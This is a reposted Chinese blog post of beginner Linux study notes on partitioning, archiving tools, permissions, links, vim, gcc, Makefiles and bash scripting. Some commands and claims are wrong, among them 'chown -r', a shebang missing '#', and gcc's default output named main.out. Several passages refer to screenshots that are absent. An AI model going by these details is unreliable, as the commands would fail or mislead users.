mount挂载后中文显示乱码的解决方法 sudo mount -o iocharset=utf8 /dev/sdb1 udisk – 磁盘的分区和格式化 sudo fdisk -l /dev/sdb 查看所有分区信息（–help查看别的用法） sudo fdisk /dev/sdb1 ----> m ( 进入帮助 ) ----> d 删除该分区 ----> wq 保存并退出 mkfs -t vfat /dev/sdb1 mkfs -t vfat /dev/sdb2 mkfs -t vfat /dev/sdb3 给分区1，2，3分别格式化，完成后能在图形界面看见三个u盘图标 格式化u盘之前一定要先卸载u盘已经挂载的系统。 – 压缩和解压缩 linux下常用的压缩扩展名： .tar .tar.bz2 .tar.gz 后两个linux常用 windows下面用7zip软件 右键选中文件，选择7zip，添加到压缩包，压缩格式选择tar，仅存储 生成tar文件，这里只是打包，没有压缩 右键上面的tar文件，选择7zip，添加到压缩包，压缩格式选择bzip2，确定 生成.tar.bz2文件，把它放到ubuntu解压 ubuntu也支持解压.tar和.zip，但后面两个常用 – ubuntu下面的压缩工具时gzip 压缩文件 gzip 文件名：压缩文件，变成 原文件名.gz，原来的文件就不见了 解压缩文件 gzip -d .gz：还原 文件 gzip -r 目录：递归，将该目录里的各个文件压缩，不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名，压缩成 文件名.bz2 bzip2 -d 文件名.bz2，解压缩成 文件名 bzip2不能压缩/解压缩 目录 – 打包工具 tar 常用参数 -f：使用归档文件（必须要在所有选项后面） -c：创建一个新归档 -x：从归档中解出文件 -j：使用bzip2压缩格式 -z：使用gzip压缩格式 -v：打印出命令执行过程 如以bzip2格式压缩，打包 tar -vcjf 目录名.tar.bz2 目录名 如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar（用dhcp连不上阿里云的镜像） rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具 压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os，不同的用户有不同的权限，可以查看和操作不同的文件 有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内，不是以明文记录的 每个用户都有一个id，叫做UID – linux用户组 为了方便管理，将用户进行分组，每个用户可以属于多个组 可以设置非本组人员不能访问一些文件 用户和用户组的存在就是为了控制文件的访问权限的 每个用户组都有一个ID，叫做GID 用户组信息存储在/etc/group中 passwd 用户名：修改该用户的密码 – ubuntu文件权限 ls -al 文件名 如以b开头： -brwx - rwx - rwx -：b表示 块文件，设备文件里面可供存储的周边设备 以d开头是目录 以b是块设备文件 以-开头是普通文件 以 l 开头表示软连接文件 以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -：用户权限，用户组内其他成员，其它组用户 数字 1 表示链接数，包括软链接和硬链接 第三列 jl 表示文件的拥有者 第四列 jl 表示文件的用户组 第五列 3517 表示这个文件的大小，单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间 最后一列是文件名 – 修改文件权限命令 chmod 777 文件名 修改文件所属用户 sudo chown root 文件 修改文件用户组 sudo chown .root 文件 同时修改文件用户和用户组 sudo chown jl.jl 文件 修改目录的用户/用户组 sudo chown -r jl.jl 目录（ root.root ） – linux连接文件 1、硬连接 2、符号连接（软连接） linux有两种连接文件，软连接/符号连接，硬连接 符号连接类似于windows下面的快捷方式 硬连接通过文件系统的inode连接来产生新文件名，而不是产生新文件 inode：记录文件属性，一个文件对应一个inode， inode相当于文件ID 查找文件要先找到inode，然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件 目标文件 不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件，如果目标存在，就先删掉目标文件，再创建连接文件 – 硬连接：多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件，创建硬连接相当于文件实体多了入口 只有删除了源文件、和它所有的硬连接文件，晚间实体才会被删除 可以给文件创建硬连接来防止文件误删除 改了源文件还是硬连接文件，另一个文件的数据都会被改变 硬连接不能跨文件系统（另一个格式的u盘中的文件） 硬连接不能连接到目录 出于以上原因，硬连接不常用 ls -li：此时第一列显示的就是每个文件的inode – 软连接/符号连接 类似windows下面的快捷方式 使用较多 软连接相当于串联里一个独立的文件，该文件会让数据读取指向它连接的文件 ln -s 源文件 目标文件 特点： 可以连接到目录 可以跨文件系统 删除源文件，软连接文件也打不开了 软连接文件通过 “ -> ” 来指示具体的连接文件（ls -l） 创建软连接的时候，源文件一定要使用绝对路径给出，（硬连接无此要求） 软连接文件直接用cp复制到别的目录下，软连接文件就会变成实体文件，就算你把源文件删掉，该文件还是有效 正确的复制、移动软连接的用法是：cp -d 如果不用绝对路径，cp -d 软连接文件到别的目录，该软连接文件就会变红，失效 如果用了绝对路径，cp -d 软连接文件到别的目录，该软连接文件还是有效的，还是软连接文件 不用绝对路径，一拷贝就会出问题 – 软连接一个目录，也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式： 1、一般模式：默认模式，用vim打开一个文件就自动进入这个模式 2、编辑模式：按 i，a等进入，按esc回到一般模式 3、命令行/底行模式：在一般模式下输入：/ ？可进入命令行模式 ，按esc回到一般模式 一般模式下，dd删除光标所在的一整行； ndd，删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格：在/etc/vim/vimrc里面添加：set ts=4 设置vim中显示行号：在上面那个文件里添加：set nu – vscode是编辑器 gcc能编译汇编，c，cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序，而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器，又叫做交叉编译器（在一种架构的电脑上编译成另一种架构的代码） gcc -c 源文件:只编译不链接，编译成.o文件 -o 输出文件名（ 默认名是 .out ） -O 对程序进行优化编译，这样产生的可执行文件执行效率更高 -O2：比-O幅度更大的优化，但编译速度会很慢 -v：显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 ： $ （ 变量名 ） – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ，那么shell’命令本身就不会被打印 – 赋值符：= 变量的有效值取决于他最后一次被赋值的值 ： = 赋值时右边的值只是用前面已经定义好的，不会使用后面的 ？= 如果左边的前面没有被赋值，那么在这里赋值，佛则就用前面的赋值 + = 左边前面已经复制了一些字串，在这里添加右边的内容，用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符，只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS：用于优化参数，指定库文件的位置 LIBS：告诉链接器要链接哪些库文件 VPATH：特殊变量，指定源文件的位置，冒号隔开，按序查找源文件 vpath：关键字，三种模式，指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候，表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件，如果依赖文件是以 % 定义的，那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合，以空格分开 $ ^ 所有依赖文件的集合，用空格分开，如果有重复的依赖文件，只保留一次 $ + 和 $ ^ 类似，但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c，目标模式是 a.%.c，那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件，只是执行它下面的命令 如果被错认为是文件，由于伪目标一般没有依赖，那么目标就被认为是最新的，那么它下面的命令就不会执行 。 如果目录下有同名文件，伪目标错认为是该文件，由于没有依赖，伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件，伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组，循环，条件判断等功能 开头必须是：!/bin/bash 表示使用bash 脚本的扩展名：.sh – 交互式shell 有输入有输出 输入：read 第三行 name在这里作为变量，read输入这个变量 下一行使用这个变量直接是 $name，不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) )，注意要两个括号 – test 测试命令 文件状态查询，字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确，那么cmd2也执行 当cmd2执行完并且错误，那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确，那么cmd2不执行 当cmd2执行完并且错误，那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格，如果不加空格，test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 ！= 四个箭头所指必须用空格隔开 而且如果变量是字符串的话，一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号（1，2，3，4…） $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”，否则就不是通配符的意思，而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环，使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值；限制值；执行步长)) do //循环代码段 done – 红点处必须要加空格！！ loop 环 – – 注意变量有的地方用了 $ ，有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接：https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。